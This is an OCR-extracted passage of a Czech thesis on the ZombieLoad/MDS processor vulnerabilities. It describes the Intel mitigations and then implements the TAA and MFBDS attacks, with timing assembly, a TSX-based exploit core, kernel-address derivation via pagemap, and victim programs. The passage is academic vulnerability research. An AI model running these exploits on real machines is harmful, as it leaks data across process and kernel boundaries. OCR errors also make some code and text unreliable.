zaplaty. Pritomnost zaplat je mozné ovérit vykonanim cpuid instrukce s nasta-
venim eax = 0x7, ecx = 0.V registru edx musi byt bit 10 (MD_CLEAR) nasta-
veny na 1. Jako zéplatu Intel aktualizoval sviij mikrokdd tak, ze zménil chovani
nepouzivané instrukce verw [20]. Tato instrukce nyni vyprazdni vSechny buf-
fery, které jsou zranitelné vici MDS titoktim na daném procesoru. K vyprazdnéni
bufferi také dojde pri vyprazdnéni L1 datové cache a pii opousténi SGX
rezimu. Operacni systémy a hypervizory jsou zodpovédné za volani verw in-
strukce pri prepinani kontextu, resp. pii prepinani virtualniho stroje. Intel dale
doporucil vyvojaram operacnich systému tpravu planovace procesi, pripadné
Hyper-Threading zcela vypnout.

Aby se zamezil tnik citlivych dat, Intel doporuCuje soucasné na obou hy-
perthreadech spoustét procesy, které si mohou vzajemné duaveérovat, pripadné
vlakna stejného procesu. Déle je tfeba pri prepnuti jednoho hyperthreadu do
kernel moédu prepnout i druhy hyperthread. Utoénik by mohl vytvotit apli-
kaci, kdy v jednom vlakné bude atocit a v druhém vyuzivat metod operacniho
systému. Soucasné je potreba vyuzivat verw instrukce pri prepinani kontextu,
jak je popsano vyse.

8Jako RDCL je Intelem oznatovand zranitelnost s béznéjsim nizvem Meltdown (ve své
puvodni verzi).

"Konkrétni implementace ttoku na RDCL je dokonce identickd s RIDL variantou
MFBDS. Pfistupuje se na procesu nepfistupnou adresu (na stranku patfici kernelu). Lis{
se pouze reakce procesoru na nepovoleny pfistup. V pripadé RDCL se spekulativné pouziji
data z pozadované adresy, v pripadé MFBDS se pouziji data z LFB bez vazby na adresu.
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3.2. Aplikace softwarovych zéplat

int main(void)
uint32_t cpuid_status;
uint64_t ia32_arch_capabilities;
__asm__ __volatile__ (
"mov rax, 0x07 \n"
"mov rcx, O \n"
"cpuid \n"
"=d" (cpuid_status)
"rax", "rbx", "rcx"
printf ("MD_CLEAR: %d\n", (cpuid_status >> 10) & 1);
printf ("L1D_FLUSH: 7%d\n", (cpuid_status >> 28) & 1);
printf ("IA32_ARCH_CAPABILITIES: %d\n",
(cpuid_status >> 29) & 1);
if ((cpuid_status >> 29) & 1)
{
int fd = open("/dev/cpu/0/msr", O_RDONLY);
if (fd < 0)
return 1;
if (pread(fd, &ia32_arch_capabilities, 8, 0x10A) != 8)
{
close (fd);
return 2;
}
close (fd);
printf ("RDCL_NO: %1d\n", ia32_arch_capabilities & 1);
printf ("MDS_NO: %1ld\n",
(ia32_arch_capabilities >> 5) & 1);
printf ("TAA_NO: %1ld\n",
(ia32_arch_capabilities >> 8) & 1);
}
return O0;
}

Vypis kédu 3.1: Program ovérujici dostupnost softwarovych zaplat,
hardwarovych oprav a MSR registru umoznujictho vyprazdnéni L1 datové
cache

Jak se ale ukézalo, toto Teseni neni dostacujici. Po zvefejnéni zaplat byla
zdokumentovana dalsi zranitelnost L1D Eviction Sampling (L1IDES) [23]. Ta
funguje na stejném principu jako MFBDS, ale obchézi zaplatu pomoci verw
instrukce. Prestoze je fill buffer pii prepnuti kontextu vyprazdnén ¢i nahrazen
necitlivymi daty, data v L1 datové cache zustavaji. Jakmile ma byt modi-
fikovana cache line nahrazena, probéhne zapis do operaéni paméti pomoci
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3. OPRAVY A ZAPLATY

Each box pair represents
a physical core:

o

Interrupt

kernel  kernel
Synchronousiret from both @ and

threads to user/user state

Syscall/trap/interrupt
—_—
Interprocess interrupt rendezvous

—
Halt/MWAIT/spin

Kernel thread must bring the other thread into the
kernel, then jump to kernel/kernel state

Obrazek 3.1: Intelem doporuéend tprava planovace OS

LFB. Tato data mohou v LFB néjakou dobu po zapisu zustat a je na né
mozné zaitocit znamym MFBDS zptsobem. Resenfm by bylo pfi prepinani
kontextu vyprazdnovat L1 datovou cache. Procesor muze disponovat MSR
registrem, ktery umoznuje vyprazdnéni L1 datové cache. Jeho dostupnost je
mozné overit pomoci instrukce cpuid s nastavenim eax = 0x7, ecx = 0, kdy
bit 28 (L1D_FLUSH) v registru edx musi byt nastaveny. V praxi toto Feseni
vétsinou vyuzivané neni diky netimérné velkému dopadu na vykon vzhledem
k zavaznosti zranitelnosti. Data v L1DES varianté iitoku mohou unikat v mno-
hem mensim mnoZstvi nez u klasické MFBDS varianty®.

Line fill buffer navic mohou vyuzivat nékteré struktury procesoru, napiiklad
MMU [2]. Diky tomu je mozné ziskat data o prekladu virtudlni adresy na fyzic-
kou ttocictho procesu a procesu bézictho na druhém hyperthreadu. Tyto infor-
mace mohou byt vyuzité k dalsim ttokam. Zranitelnost je navic velice obtizné
opravit nebo zmirnit, jelikoz hardwarové komponenty procesoru vyuzivaji LFB
nezavisle na béhu uzivatelskych programu ¢i jadra.

8V piipadé klasické varianty MFBDS unikaji data v jednotkach kilobyti za sekundu,
zatimco pii testovani varianty L1IDES bylo naméfeno 0.1 B/s .
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KAPITOLA 4

Realizace atoku Zombieload

Tato kapitola popisuje kompletni postup provedeni ttoku na obé hlavni zra-
nitelnosti popsané v dokumentu Zombiel.oad. Pro ttok prostfednictvim zra-
nitelnosti MFBDS bylo implementovano vice variant. Jednodussi z nich jsou

vvvvv

plementace tymu ZombieLoad [25]. Utok na zranitelnost TAA je v této praci
proveden v jedné varianté, ktera ¢erpa z kédu RIDL [24] i ZombieLoad [25].
V pripadé utoku na zranitelnost TAA je vyzadovano instrukéni rozsiteni Intel
TSX. Pri ttoku na MFBDS neni TSX nutnosti, ale umoznuje elegantni feseni
odchyceni systémové vyjimky pro nepovoleny pristup do paméti. Instrukéni
rozsiteni TSX je dostupné na vybérovych procesorech zverejnénych po roce
2014°.

Postup provadéni utoku by se dal shrnout v nasledujicich bodech:

1. identifikace meze pro ¢as pristupu do cache a operac¢ni paméti,

2. vyprazdnéni indikacnich tsekl paméti z cache hierarchie,

3. tranzientni provedeni skodlivého kédu se zakédovanim tajné hodnoty,
4. ziskani odtajnéné informace pomoci indikac¢nich tseki,

5. libovolné opakovani krokt 2 az 4,

6. post-processing nad ziskanymi daty.

9Instrukéni sada TSX se poprvé objevila na mikroarchitektufe Intel Haswell, kde obsa-
hovala hardwarovou chybu a byla ndsledné pomoci aktualizace mikrokédu vypnuta. [26]
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4. REALIZACE UTOKU ZOMBIELOAD

4.1 Urceni meze casu pristupu pro Flush+Reload

Utok pomoci cache postranniho kandlu vyuziva faktu, ze rozdil v case ptistupu
do cache a do operacni paméti je velky a tedy i snadno detekovatelny. Vhodny
zpusob pro detekci, odkud byla data ziskdna, je stanoveni mezni hodnoty.
V jednodussim pripadé je mozné takovou mezni hodnotu stanovit pred sa-
motnym utokem. Komplexnéjsi feseni by zahrnovalo pribézné prepocitavani
meze z duvodi popsanych dale.

.intel_syntax noprefix
.text
.global flush_reload
.type flush_reload, Q@function
flush_reload:

mfence

lfence

clflush [rdil

mfence

rdtscp

lfence

mov rsi, rax

mov rax, [rdil

rdtscp

lfence

sub rax, rsi

mfence

ret

.global touch_reload
.type touch_reload, @function
touch_reload:

mfence

lfence

mov rax, [rdil

lfence

rdtscp

lfence

mov rsi, rax

mov rax, [rdi]

rdtscp

lfence

sub rax, rsi

mfence

ret

Vypis kédu 4.1: Funkce pro méfeni casu pristupu do operacni paméti a cache

Funkce flush reload v ukdzce [I.1| méfi ¢as piistupu do opera¢ni paméti. Nej-
prve je z cache hierarchie vyprazdnéna cache line s danou adresou a nasledné
se méii doba pifstupu na tuto adresu. Instrukce mfence a 1fence zajistuji seri-
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4.1. Urceni meze ¢asu piistupu pro Flush+Reload

alizaci instrukei [13]. Konkrétné instrukce 1fence garantuje, Ze jeji provadéni
zatne az v okamziku, kdy byly vSechny piedchozi instrukce load provedeny'®
a zadna ji nasledujici instrukce se nezacne vykonavat diive, nez se tato 1fence
dokondi. Instrukce mfence garantuje, ze vSechny load a store operace budou
pred jejim provedenim globalné viditelné.

Samotné meéreni probihd mezi dvojici rdtscp instrukci. Tato instrukce ulozi
do registru edx vyssi bity a do registru eax nizsi bity 64 bitového TSC (Time
Stamp Counter) ¢itace. Nasledné jsou od sebe naméfené hodnoty odecteny,
¢imz vznikne vysledek méreni. Pri odecitani se pro zjednoduseni pouziva pouze
spodnich 32 bitl, coz muze vést ke vzniku chybnych méfeni pri preteceni
nepresnosti, je mozné si takové zjednoduseni dovolit. Funkce touch_reload
slouzici k méreni ¢asu pristupu do cache paméti se lisi pouze tim, ze instrukce
clflush je nahrazena pfistupem na adresu ulozenou v registru edi.

Pro stanoveni meze se osvédc¢ilo alespon 100 000 méreni (dohromady 200 000
hodnot). SpiSe nez prumér z méteni je vhodnéjsi stanovit medidny ¢asu ptistupu
do cache a opera¢ni paméti. Obzvlast v piipadé méfeni piistupti do operacni
paméti mohou byt nékteré hodnoty vyrazné vyssi a vysledek muize byt zkres-
leny. Uvedeny postup je zobrazen v rovnicich Proménné co az c100000
predstavuji jednotlivé namérené casy pristupu do paméti, kterd je nactend
v cache (pfistup do této paméti vyvold cache hit). Podobné proménné ug
aZ u1gpooo Oznacuji mérené casy pristupu do paméti, kterd v cache nactend
neni (pristup vyvold cache miss). Jako t.qcheqd je 0znaten medidn ze vsech
nameétfenych cCasu pristupi do cache. Obdobné t,,cached znaci medidn casu
pristupu do nenacachované paméti. Vysledna mez treshold poté muze byt
spocitana jako prostfedni hodnota mezi teoched @ tuncached-

teached = Median(cy, c2, . . ., €100000)

tuncached = Median(uy, ug, . . ., u100000) (4.1)
t +t

treshold — cached 5 uncached

Pokud byl béhem méfeni vytizeny pamétovy subsystém, muze byt vyslednd
mez zcela nepouzitelnd. Takové méfeni je zndzornéno v grafu {1} Proto je
vhodné v pripadé obou soubori dat spocitat také rozptyl. Pokud by byl ale-
spon jeden moc velky, je potieba méreni zopakovat. Méfeni muze byt ne-
pouzitelné i z davodu vytiZzeni procesoru, kdy je vétsi pravdépodobnost, zZe
dojde k preruseni pravé mezi provadénim instrukei rdtscp. Casovace TSC na

10T znamend, e zapis do paméti provedeny pred 1fence instrukei nemusi byt viditelny
ostatnimi jadry.
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4. REALIZACE UTOKU ZOMBIELOAD

jednotlivych jadrech procesoru nutné nemusi byt synchronizované, ale mély by
tikat se stejnou frekvenci. Pokud dojde k preruseni béhem méreni, namérend
hodnota je nepouzitelnd nezavisle na tom, zda byl proces predany jinému
jadru ¢ nikoliv. Piesto je vhodné proces stanovici mez spoustét s pripnutim!!
k danému procesorovému jadru, na kterém pobézi ttocici proces.

Pouzivani hodnot ¢itace TSC muze byt pomérné problematické . Imple-
mentace Citace se v pribéhu vyvoje mikroarchitektur Intelu raznila. Na mo-
dernich procesorech by méla byt dostupnéd varianta, kdy ¢itac¢ tikd s kon-
stantni periodou nezéavisle na aktualni pracovni frekvenci jadra'?. Snadno se
tak muze stat, ze spocitand mez je po zméné frekvence procesoru nespravna.
To je zndzornéno v grafu [£.2] kde doslo ke zméné frekvence procesorového
jadra béhem méreni meze.
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Obrazek 4.1: Graf méreni casu pristupu do opera¢ni paméti a cache
s vytizenym pamétfovym systémem

HModerni OS umoziinji spoustét procesy (¢i jednotlivd vldkna procesu) na dané

podmnoziné logickych jader procesoru, Na Linuxu je mozné spustit proces s pfripnutim ke
zvolé podmnoziné jader pifkazem taskset [27]

nikoliv.
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4.2. Utok na TAA
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Obrazek 4.2: Graf méreni ¢asu pristupu do operacni paméti a cache béhem
zmény frekvence CPU

4.2 Utok na TAA

Ve vypisu 4.2] je znazornéna kostra titoku. Je vyzadovano nastaveni konstanty
CACHE_TRESHOLD. Ta muze byt urcena naptiklad pomoci prilozeného programu
cache_treshold!®. Déle je potfeba nastavit pocet iteraci, ve kterych se mé
program snazit tajna data ziskat. Ve vétsiné pripadu je vhodné provést alespon
100 000 iteraci.

V exploitu probihd nacteni do 64-bitového registru. Utoénik tedy teoreticky
miize béhem jedné iterace ziskat az 8 tajnych byta. Pro zakédovani 8 bytu
béhem jedné iterace je pro metodu Flush+Reload potieba 256 - 8 = 2048 in-
dikacnich tseku / cache lines. Pokud by jedna cache line méla velikost 64 B,
stacilo by teoreticky ,,pouze“ 128 KiB. Takové feseni by ale v pfimocaré im-
plementaci nefungovalo.

Prestoze jsou vSechny indikacni tseky z cache hierarchie v kazdé iteraci pro-
gramu vyflushované, mize procesor spekulativné nékteré nacist zpét. To ve
findle velmi zkresluje samotny vystup programu, kdy je spekulativné nactena

BVyuzit! programu je vyrazné doporuéeno, jelikoz méfeni Gasu piistupu je shodné s tim,
které vyuziva samotny exploit.
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4. REALIZACE UTOKU ZOMBIELOAD

vétsina indikacnich tsekti a neni mozné urc¢it skute¢nou tajnou hodnotu. Ta-
kové chovéani je typické, pokud se k indikaénim tsekim pristupuje tak, jak
jsou za sebou umisténé v paméti.

Vhodnou opravou miize byt vyuzit linedrni kongruencni generator s maximéalni
periodou. Pokud méa byt napriklad pristoupeno k 256 indikac¢nim tsekiim na
indexech 0 az 255, sta¢i v cyklu tyto indexy prochazet a v kazdé iteraci pomoci
linearniho kongruenéniho generatoru spocitat index novy, na zakladé kterého
se pristoupi k indika¢nimu useku. Prikladem pfepoc¢tu indexu muze byt
kde je volbou parametrii zaruc¢eno, ze po dosazeni ¢isel 0 az 255 bude vyge-
nerovand jind permutace. Takové pristupy uz se procesoru jevi jako ndhodné
a spekulativni nac¢teni neni tak casté.

index = |17 - oldindex + 3256 (4.2)

Predchozi feseni je sice pomérné funkéni, ale zpomaluje samotny exploit. Na
zékladé experimentl je mozné si v§imnout, ze procesor provadi spekulativni
nacteni pouze v pripadé, kdy opakované dochézi ke ¢teni ze stejné stranky. Na
nékolika riznych systémech s riznymi mikroarchitekturami procesorii Intel se
mi podarilo ovérit, ze ke spekulativnimu nac¢teni dochazi az pri tfetim ¢teni ze
stejné stranky. Za predpokladu, ze stranka ma standardni velikost 4 KiB, je
mozné vyuzit 2048-8-256 B = 4 MiB paméti k indikaci vSech 8 byti. Toto feSeni
sice zabira vice paméti, ale je vyrazné rychlejsi, a proto bylo v ukazkovém pro-
gramu zvoleno. Paméti s indika¢nimi tseky odpovida proménnd probe_array
ve vypisu. Aby bylo pole skutetné zarovnané na stranky, vyuziva se atribut
aligned.

K proménné exploit_page se pristupuje v samotném exploitu a je to pravé
ta pamét, ze které se za specidlnich podminek ¢te a béhem éteni dochdzi
ke spekulativnimu predani nespravné a potencialné citlivé hodnoty. Spoleéné
s probe_array se pole nuluji, aby se predeslo riznym optimalizacim, které by
mohly vyuzit toho, ze se vétsi ¢ast paméti poli nepouziva.

Pted samotnym provedenim exploitu je vhodné vSechny indikaé¢ni tiseky z cache
vyprazdnit. Na pole probe_array se pritom nahlizi jako na 256 tsekd veli-
kosti 16 KiB. Kazdy tsek pritom reprezentuje jednu moznou hodnotu bytu
a v kazdém useku je mozné indikovat az 8 byt. Prvni byte se indikuje na
pocatku 16 KiB useku, druhy byte na offsetu 2048 v ramci tseku, treti byte
na offsetu 4096 apod.

Nésleduje hlavni cyklus, ve kterém dochézi k ziskdvéani tajnych dat. Funkce
exploit v probe_array indikuje cache lines podle spekulativné ziskanych
dat a vrati status zruseni TSX transakce. Hodnota OxFFFFFFFF znaci, ze
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4.2. Utok na TAA

k abortu viibec nedoslo. Naopak nastaveny bit 4 stavového slova v této imple-
mentaci exploitu vétsinou znamend, ze doslo k pozadovanému asynchronnimu
abortu. Takto se odfiltruji situace, ve kterych k tniku dat ani nemohlo dojit.

Znamym zplusobem se nasledné projdou jednotlivé indikacni tseky a podle
¢asu pristupu urci, se kterymi byty procesor ve funkci exploit spekulativné
pracoval. Predpoklada se pritom, ze hodnota daného bytu byla indikovana ma-
ximalné dvakrat — jednou se spekulativni hodnotou a podruhé se skutecnou
hodnotou ulozenou v exploit_page (hodnotou 0). Muze se stit, ze hodnota
tajného bytu je také 0, v takovém piipadeé je situaci obtiznéjsi detekovat. Mno-
hem castéjsi je ale situace, kdy je indikace odtajnéného bytu z cache hierar-
chie vyprazdnéna jesté pfed tim, nez mohlo dojit k jejimu ovéreni. V takovém
pripadé je pouzita 0, kterd plni tilohu neznamé hodnoty.

#define CACHE_TRESHOLD 150
#define ITERATIONS 100000

static uint8_t __attribute__((aligned (4096)))
probe_array [256 * 8 * 2048];

static uint8_t __attribute__((aligned (4096)))
exploit_page [4096];

int main(int argc, char ** argv)

{
uint32_t tsx_status;
array<uint8_t, 8> leaked_bytes;
map<array<uint8_t, 8>, size_t> counts;
memset (probe_array, O, sizeof (probe_array));
memset (exploit_page, 0, sizeof (exploit_page));

for (size_t i = 0; i < 256 * 8; i++)
flush(probe_array + i * 2048);
for (size_t i = 0; i < ITERATIONS; i++)
{
tsx_status = exploit(exploit_page, probe_array);
if (tsx_status != OxFFFFFFFFu && (tsx_status & 0x4))
{
leaked_bytes.fill (0);
for (int j = 0; j < 2566; j++)
for (int k = 0; k < 8; k++)
if (reload_flush(probe_array + j * 16384
+ k * 2048) < CACHE_TRESHOLD)
leaked_bytes[k] = j;
counts [leaked_bytes]++;

}
Vypis kédu 4.2: Kostra ttoku na zranitelnost TAA
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4. REALIZACE UTOKU ZOMBIELOAD

Pro Gspésné provedeni funkce exploit je potfeba najit metodu, jak spolehlivé
zajistit asynchronni zruseni TSX transakce. Intel ve své dokumentaci uvadi
vycet situaci, které mohou transakci zrusit, ale primo nerozlisuje, zda do-
jde ke zruseni sychronnimu ¢i asynchronnimu. Elegantni feseni stavi na in-
strukci clflush a faktu, Ze vyprazdiiovani cache line z paméfové hierarchie
trvéa nékolik taktt procesoru.

Nejprve je potfeba zajistit, Ze v cache paméti bude nactena néjaka cache
line (cache line z exploit_page). Ndasledné se instrukei c1flush vyvold vy-
prazdnovani této cache line. Ihned poté instrukci xbegin procesor vstoupi do
RTM regionu TSX transakce. Uvniti transakce stac¢i provést nacteni z pravé
flushované cache line. V tom okamziku dojde ke konfliktu v read-setu trans-
akce, coz by mélo vyvolat zruseni transakce a pokracovani od adresy, kterd
byla specifikovana jako argument xbegin. Nez k samotnému zrusSeni trans-
akce dojde, mtze byt aktualni load instrukci spekulativné predand nedavno
zpracovavana hodnota line fill bufferem.

Cel4 situace je zachycena v kédu [£.3] Je zde predpoklddand volaci konvence
System V X86_64, podle které je ulozena v registru rdi adresa pole exploit_page
a v registru rsi adresa probe_array. Na radkach 8 az 15 probihd ptiprava
hodnot do registri. Do eax je zapsana takova hodnota, jaké registr jako stav
zruseni TSX transakce nemiize nikdy nabyvat. Pozna se tak, zda opravdu

k zruseni transakce doslo. Do zbyvajicich registrti jsou ulozeny adresy probe_array
s danymi offsety podle toho, kolikaty byte dany registru bude reprezentovat.
17 — 22 obsahuji samotné jadro exploitu fungujici presné podle predchézejiciho
odstavce. Je dilezité si uvédomit, ze na rddce 22 je do registru r8 spekula-
tivné nactena tajnd hodnota a nasledujici instrukce budou vykonany speku-
lativné, dokud procesor nedetekuje TSX konflikt a celou spekulativni vétev
zahodi. Je tedy vhodné v probe_array indikovat odtajnéna data co nejdrive.
Pro zbyvajici byty je postup analogicky, pouze je vyssi pravdépodobnost, ze

v ramci spekulace se jejich indikace jiz nestihne provést. Kompletni kéd pro-
gramu je k dispozici v prilozeném adresari taa.
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4.3. Utok na MFBDS

.intel_syntax noprefix

.text

.global exploit
.type exploit, @function

exploit:

# zaloha

mov
mov
mov
add

mov

eax,
rcx,
rdx,
rdx,

r8,

mfence
lfence
clflush [rdil]

xbegin rtm_end

mov

mov
and
shl
add
mov

mov
and
shl
add
mov

xend

rtm_end:

r8,

r9,
r9,
r9,
rcx,
rcx,

r9,
r9,
r9,
rdx,
rdx,

mfence
# obnova registru ze zasobniku

ret

registru na zasobnik

OxFFFFFFFF
rsi
rsi

2048

[rdi]

[rdil]

r8
O0xFF
14

r9
[rcx]

r8
0xFFO0O0

r9
[rdx]

Vypis kédu 4.3: Jadro ttoku na zranitelnost TAA

4.3 Utok na MFBDS

V pripadé zranitelnosti MFBDS je vétsina kodu identickd. Tato podkapitola
se proto zaméruje pouze na popis zpusobi, jak spekulativni vykondvani s po-
tencidlné citlivou hodnotou vyvolat pomoci MFBDS. K takové situaci muze
dojit v pripadé load operace, kterd vyvola page fault nebo ke svému vykonani
potfebuje asistenci mikrokédu. Z pohledu analyzy zavaznosti zranitelnosti jsou
potom zajimavé predevsim ty zpusoby, které na cilovém systému nevyzaduji
administratorska opravnéni.
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4. REALIZACE UTOKU ZOMBIELOAD

4.3.1 Utok pomoci page faulti

Page faulty je snadné systematicky vyvolavat mnoha zpusoby. Nejjednodussi
moznosti je pfistupovat na procesu neptidélenou adresu (napiiklad adresu 0).
V takovém pripadé je ale tifeba zajistit, ze ttocici proces nebude ukoncéen
signdlem segmentation fault. Pfistup na nevalidni adresu je mozné provést
uvnitt TSX transakce. Diky tomu nedojde k architekturdlni vyjimce a proces
neni ukoncen, pouze se zrusi transakce. Dal$im Tesenim je odchyceni signdlu
a oprava registrii a zasobniku tak, aby bylo mozné dal pokracovat v programu.
V neposledni fadé je moznost utoc¢icim procesem vytvorit proces novy (se
sdilenym adresnim prostorem) a samotny utok provést v ném. Nové vytvoreny
proces pak miize byt vyjimkou ukoncen a ttocici proces presto ziska odtajnénd
data. Tato varianta MFBDS ttoku je v prilozeném rfeseni naimplementovand
pod nazvem mfbds_null_ptr a jako zpusob oSetfeni architekturalni vyjimky
je zvoleno odchyceni signalu SIGSEGV [29] a obnoveni registri a zadsobniku [30].

Existuji i moznosti, které architekturdlni vyjimku nevyvolavaji. Jadro Linuxu
nabizi funkci madvise [31], kterd umoziiuje oznacit, ze dand stranka nebude
v nejblizsi dobé potfeba. V praxi OS stranku zahodi. Nasledné c¢teni z ad-
resniho rozsahu této stranky zptsobi opétovné nacteni, pokud byla stranka
sdilena vice procesy, pripadné byla mapovana na néjaky soubor. Pokud slo
o tzv. anonymni stranku (jeji obsah nebyl sdilen s vice procesy ani nebyl
uloZen v souboru), OS vytvoii novou stranku vyplnénou nulami'4. P¥istup
do vytvorené vynulované stranky pak vyvola page fault. Déle lze zminit va-
riantu, kdy je do adresniho prostoru namapovan velky soubor (fddové jed-
notky GiB) a nésledné se pristupuje na jednotlivé stranky z namapovaného
adresniho rozsahu. Obé varianty jsou v prilozeném feseni dostupné pod nazvy
mfbds_madvise, respektive mfbds_large_file.

4.3.2 Utok pomoci asistence mikrokédu

Systematické provadéni load operaci s asistenci mikrokodu je o néco slozitéjsi.
V dokumentu ZombieLoad [1] je navrzeno feseni vyzadujici administratorska
opravnéni, pripadné vyuziti jinych zranitelnosti pro ziskani potirebnych infor-
maci. K provedeni utoku je potfeba libovolnd v uzivatelském adresnim pro-
storu dostupnéa stranka s pravy pro ¢teni. Pokud neni tato stranka aktudlné
odlozend na disku, nachazi se v néjakém ramci v operacni paméti. V ad-
resnim prostoru jadra OS tak existuje stranka, kterd na tento ramec také
ukazuje diky primému mapovani fyzické paméti do adresniho prostoru kernelu.
Zjisténi adresy této stranky je vSak bézné mozné pouze s administratorskymi
opravnénimi.

4Tato implementace je vzhledem k popisu (strdnka nebude v nejblizsi dobé potfeba)
¢asto vniména jako nestastnd a byla jiz predmétem nékolika diskuzi |32].
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4.3. Utok na MFBDS

Na operacnim systému Linux existuje specidlni soubor /proc/self/pagemap,
ktery umoznuje pravé bézicimu procesu urcit ¢islo rdmce, na ktery je mapo-
vand dana stranka tohoto procesu [33]. Cislo rdmce pak sta¢i vynasobit veli-
kosti stranky a pricist k nému poc¢atecni kernelovou adresu primo mapované
fyzické paméti. Ta ma v moderni implementaci hodnotu 0xf£££888000000000
za predpokladu, Ze neni pouzita ochrana KASLR. KASLR je mozné vypnout
pridanim parametru nokaslr pii zavadéni jiddra Linuxu. Proces ziskani pro
danou uzivatelskou stranku odpovidajici stranku kernelovou je zndzornén ve
vypisu .4} Pro tspésné precteni ¢isla ramce je vyzadovano administratorské
opravnéni. V programu se pocitd s tim, ze predana adresa uzivatelské stranky

evvs

kernelové stranky je proto doplnéno z adresy stranky uzivatelské.

void * get_kernel_page(void * user_page)

{
int fd = open("/proc/self/pagemap", O0_RDONLY);
uint64_t data;

if (pread(fd, &data, 8, (uint64_t)user_page / 4096 *x 8) != 8)
exit (1) ;
close (fd);

data &= Ox7FFFFFFFFFFFFFULL;
return (void *) (OxFFFF888000000000ULL | (data << 12)
| ((uint64_t)user_page & OxFFF));
}

Vypis kédu 4.4: Funkce pro ziskdni odpovidajici kernelové stranky ze stranky
uzivatelské

Utok spoc¢iva ve vyvolani vyprazdnovani cache line pomoci uzivatelské stranky
a nasledném cteni z pravé flushované cache line prostiednictvim kernelové
stranky. Tim dojde k asistenci mikrokédu a v ramci spekulace mohou byt
predana data z LEB. Stejné jako v prvni popisované varianté itoku MFBDS je
nutné odchytit architekturalni vyjimku pomoci diive uvedenych technik. Aby
pomoci adresy kernelové stranky opravdu doslo k pristupu na vyprazdnovanou
cache line, je potreba mit vypnutou ochranu kernelového adresniho prostoru
KPTI. Toho je mozné docilit preddnim parametru nopti ptfi zavadéni jadra.
Hlavni myslenka tdtoku je vyobrazena ve vypisu kde je v registru rdi
uloZena adresa stranky uzivatelského prostoru a v registru rsi adresa od-
povidajici stranky kernelového adresniho prostoru. Pro zjednoduseni je zde
potlacena vyjimka pomoci TSX regionu. Prilozena varianta ttoku s nazvem
mfbds_zombieload nevyuzivd TSX, ale odchyceni signilu SIGSEGV (stejné
jako varianta mfbds_null_ptr). Rozhodl jsem se tak predevsim proto, aby ne-
bylo mozné tuto variantu zameénit s itokem na TAA, jelikoz jsou obé varianty
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4. REALIZACE UTOKU ZOMBIELOAD

v konecné implementaci velmi podobné.

clflush [rdil

xbegin rtm_end

mov r8, [rsil

#indikace odtajnenych dat v r8
xend

Vypis kodu 4.5: Jadro dtoku na MFBDS pomoci asistence mikrokédu

4.4 Program obéti

Prestoze je cilem posoudit zavaznost zranitelnosti pri titoku na bézné pouzivané
aplikace, pro ucely ovéfeni funkénosti (a pripadné také efektivity) exploitu je
vhodné mit pripraveny program ,,idealni obéti“. Takovy program by mél v co
nejveétsi mire vyuzivat line fill buffer. Nabizi se dva rtzné primocaré pristupy,
které nejvice odpovidaji vyuzivani LFB béznymi aplikacemi.

Prvni moznosti je v nekonecné smycce neustale provadét store operace do
stejné paméti, cimz bude dochazet k L1 cache hitiim. Pomoci LFB by pak méla
byt zapsana hodnota propagovand dal do pamétové hierarchie. Aby se vyuZilo
vice polozek LFB, je vhodné takovych zapist provadét vice do ruznych cache
lines. Jednoduchym ptikladem je vypis V programu se pocita s velikosti
cache line az 128 byt coz je pro typické procesory maximum.

#define SECRET 0x4142434445464748ULL
static uint8_t __attribute__((aligned (4096))) page [4096];
int main(void)
{
while (1)
__asm__ __volatile__ (
"mov [%1], %0 \n"
"mov [%2], %0 \n"
"mov [%3], %0 \n"
"mov [%4], %0 \n"
"r" (SECRET), "r" (page), "r" (page + 128),
"r" (page + 256), "r" (page + 512));
}

Vypis kédu 4.6: Varianta obéti zalozena na store operacich

Druhou variantou je neustale load operacemi vyvolavat L1 cache miss, coz by
mé&lo vyuzivat LFB pro naéteni dat z vy3$ich drovni paméfové hierarchie. Toho
Ize docilit pristupovanim na velké mnozstvi cache lines idedlné v ndhodném
poradi, aby nedochazelo ke spekulativhimu prednacitani. V této situaci je
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4.4. Program obéti

mozné vyuzit linedrni kongruenéni generator tak, jak bylo popsano diive. Stéle
je nutné pocitat s tim, Ze cache line muze mit velikost az 128 B. Konkrétni
implementaci ukazuje vypis [4.7]

int

{

#define SECRET 0x4142434445464748ULL
static uint64_t __attribute__((aligned (4096))) pages[64 x 4];

main (void)

for (int i =
pages [i]

while (1)
for (int i = 0; 1 < 64 *x 4 / 2; i++)
{

0; i < 64 *x 4; i++)
= SECRET;

int index = ((15 * i + 7) & 127) * 2;
asm__ __volatile__ ("mov rax, [%0] \n"
"r" (pages + index) : "rax"

Vypis kdédu 4.7: Varianta obéti zalozena na load operacich
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KAPITOLA 5

Analyza vysledku

V predchozi kapitole byly uvedeny ¢tyfi varianty utoku na MEFBDS (z toho
tii vyuzivajici page faulti a jedna zalozend na asistenci mikrokédu) a jedna
varianta toku na TAA. Konkrétné se jednd o tyto implementace:

1. mfbds_null_ptr — page faulty generované pristupem na nulovou adresu
(null pointer),

2. mfbds_madvise —stranka je oznacena jako nepotiebnd, nasledny pristup
do ni zpusobuje page fault,

3. mfbds_large_file — do adresniho prostoru je namapovany velky soubor,
pristupy na jeho stranky generuji page faulty,

4. mfbds_zombieload — ¢teni pomoci kernelové stranky z cache line, ktera
je pravé vyprazdnovand, zpusobuje asistenci mikrokédu,

5. taa — Ctenim z pravé vyprazdnované cache line uvniti TSX transakce
dochéazi k asynchronnimu zruseni transakce.

Daéle byly predstaveny dva programy obéti:
1. victim_store — neustalymi zapisy do nékolika cache lines dochazi ke
cache hittim, coz vede k vyuzivani LFB,
2. victim_load — ndhodné Cteni z velkého mnozstvi cache lines zpusobuje
cache miss, nacteni cache lines nepritomnych v L1 cache je zprostredkovano

LFB.
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5. ANALYZA VYSLEDKU

Vsechny uvedené varianty ttoku byly testovany s obéma programy obéti.
Testovani bylo provadéno na systému se serverovym procesorem Intel Xeon
E3-1245 v6 [34]. Jednd se o procesor predstaveny pocatkem roku 2017. Je
zalozeny na mikroarchitekture Kaby Lake. Disponuje ¢tyimi fyzickymi a osmi
logickymi jadry (vyuzivé tedy technologie Hyper-Threading). Tento procesor
podporuje instrukéni rozsiteni TSX. Jako operac¢ni systém byl zvolen Arch Li-
nux ve verzi 5.7.6-arch1-1 [35]. Na systému byl pfitomny mikrokdd v revizi
0xd6 ze dne 23. 4. 2020 (v dobé psani prace se jednalo o nejnovéjsi revizi).

Pro testovani byl vyuzit jesté jeden systém, aby bylo mozné odhalit pripadné
rozdily ve vysledcich na riznych mikroarchitekturach. Jednalo se o proce-
sor Intel Core 15-8250U, ktery je urcen priméarné pro notebooky. Tento pro-
